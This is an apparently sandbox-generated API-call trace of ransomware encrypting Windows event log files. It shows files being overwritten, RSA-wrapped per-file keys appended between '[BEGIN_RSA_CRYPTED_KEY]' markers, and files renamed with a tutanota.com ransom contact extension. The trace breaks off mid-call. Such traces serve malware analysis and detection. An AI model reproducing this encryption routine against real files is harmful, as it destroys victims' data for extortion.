[0126.843] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.843] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.844] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.844] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.845] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.845] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.845] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.846] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.846] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.847] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5ca0 [0126.847] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5ca0, pcchString=0x2e3f9a8 | out: pszString="sZ8awk++DKGeBM+63raQtWVrIXYmNcBW8wCwnaIDyJDjhosZmm85pekGdNO9T7Xc\nNm/PzA9fcgkPPZdI1hnf4RcnfCt/Gk08o3bllqbw5zw/ci/ICBJx5tl18EdEJLIC\nOv4Jzl6BK9tRThDto2/KDiMMnOkT4AkOtMzERg8ppmp8X3wMcdEJ0ktLnNrixNSd\nASzCfQ/cLQg9CBdsouwa1zUfyoL8jHWH7JuIQacuo9oi73Yc8m6gAtBhY/wtRZZr\nrgEWtl4xaxCkqPY7Z/bxFGMscbUrIHP2GL50MQ1yeKDzKJVJ+xXtU5Tibljcz8Hq\nxKOnXsm7LGCH1KdO5p/ZUA==\n", pcchString=0x2e3f9a8) returned 1 [0126.847] WriteFile (in: hFile=0x460, lpBuffer=0x5b5ca0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5ca0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.848] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.848] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.848] CloseHandle (hObject=0x460) returned 1 [0126.851] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ca0 | out: hHeap=0x570000) returned 1 [0126.851] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5bc0 | out: hHeap=0x570000) returned 1 [0126.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0126.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0126.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0126.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0126.854] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.854] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0126.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0126.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0126.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0126.854] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.854] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.855] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.899] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.899] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.901] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.901] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.901] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.902] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.902] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.903] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0126.903] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="x5a4zgUwOB1rp3Di28yn9TLIJb5IPaWDpYEKUtxtyOv7vbsc3XKE9mssrvN70gXG\nJ72JRWzccUZ0AVYnXU1scrcvZmYMPA9xlN3WMlin6ubGsvkutLcERr7mrcHbwyRc\nPoW7VOVudx/AYvJsSWRnE35p+3rPdwd6vIw6qWfXQrxRg8CTTSJxKwFG5LAVFO3+\nqoWbtZj7gqurB3KBQepG9179xSH9gyR8Ak+4/dIS8amPV4aIQtnsp1K/wGxZ3TWK\ntyM9VyPcdnBDcSQKWaszpKipFinjH8WjOVUaXQvq+aOLPpjYLZk3JPITsqb6G5ms\nhZoKRWxlKtDCLym6NqmwaA==\n", pcchString=0x2e3f9a8) returned 1 [0126.903] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.904] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.904] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.904] CloseHandle (hObject=0x460) returned 1 [0126.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0126.911] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0126.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0126.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0126.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0126.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0126.913] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.913] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0126.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0126.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0126.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0126.915] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.915] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.915] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.939] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.939] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.941] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.941] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.943] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0126.943] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="epd7zUxjPuTfzBXWDeASVtRYxjxpFDcCdzvl6NxTTqKtjH9BM3ddE8TUAQcqsmas\nkJpx0Zv4NW6UNo5DWjp5BVBWgnYVm5cYJV/lRM5TLJ+3DCvh+7TEV0uy19eOwphz\nEbdwzEriiXZpIPXf4HEL1s8tu0mbHAYxfjrtBuHwGclQSKuSiXXSQc8OkOVki7fc\nd+XjuvVrLaXqd4Xb3F6xd0VL6jpvbTE6ibhsv1NfFrUutQjJT1KuS5fcwqpN82k+\neaDspub5Kjl9j2Jj4NHaQ2rWGckjqzlV5iY0WXAE7LpWW9oMx/ek5q7ks2aE7fFY\nzinFxgjpuCYFqzpwV8AdQg==\n", pcchString=0x2e3f9a8) returned 1 [0126.943] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.944] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.944] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.944] CloseHandle (hObject=0x460) returned 1 [0126.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0126.947] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0126.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0126.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0126.951] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0126.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0126.952] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.952] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0126.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0126.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0126.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0126.952] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.952] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.953] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.968] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.969] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.971] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.971] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.971] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.971] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.971] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.973] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0126.973] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="4QcWvFdPE7uJpQHn9l1gNrrnN4th5u1YYNGuzHstEoCpdUmijrGHg5WSPktS80FL\nYKtasS2NDKIbLkWp+2KS+h/iuShh9FiG4XM1APNM2XGRa2eJBffU3cA6SLj+MPLY\nt3QGsnJ3u0W3RW2wetrgX+F1DM6zfd/XfCMhj2b/XOBEQCWpHvctlhKqIHspdShi\nAIItRghbMIM2bpbpYX4sAfHDgFKZDxRuIbxyaTNiU9ihzi5r9OoWQKbWNi8G7Lf5\nI8UCdijQixW+/QP+WDQaimuSSTbDV2Wg5WChItsYKuxyfU1f7kA2pGCGD6j6bTLG\nQzwWC0239D8S7a2CyR8Jaw==\n", pcchString=0x2e3f9a8) returned 1 [0126.973] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.973] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.973] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.973] CloseHandle (hObject=0x460) returned 1 [0126.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0126.979] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0126.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0126.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0126.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0126.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0126.998] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.998] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0126.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0126.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b07d0 [0126.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0126.999] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.999] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.000] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.028] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.028] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.032] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.032] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.032] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.033] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.033] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.034] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.034] RtlAllocateHeap 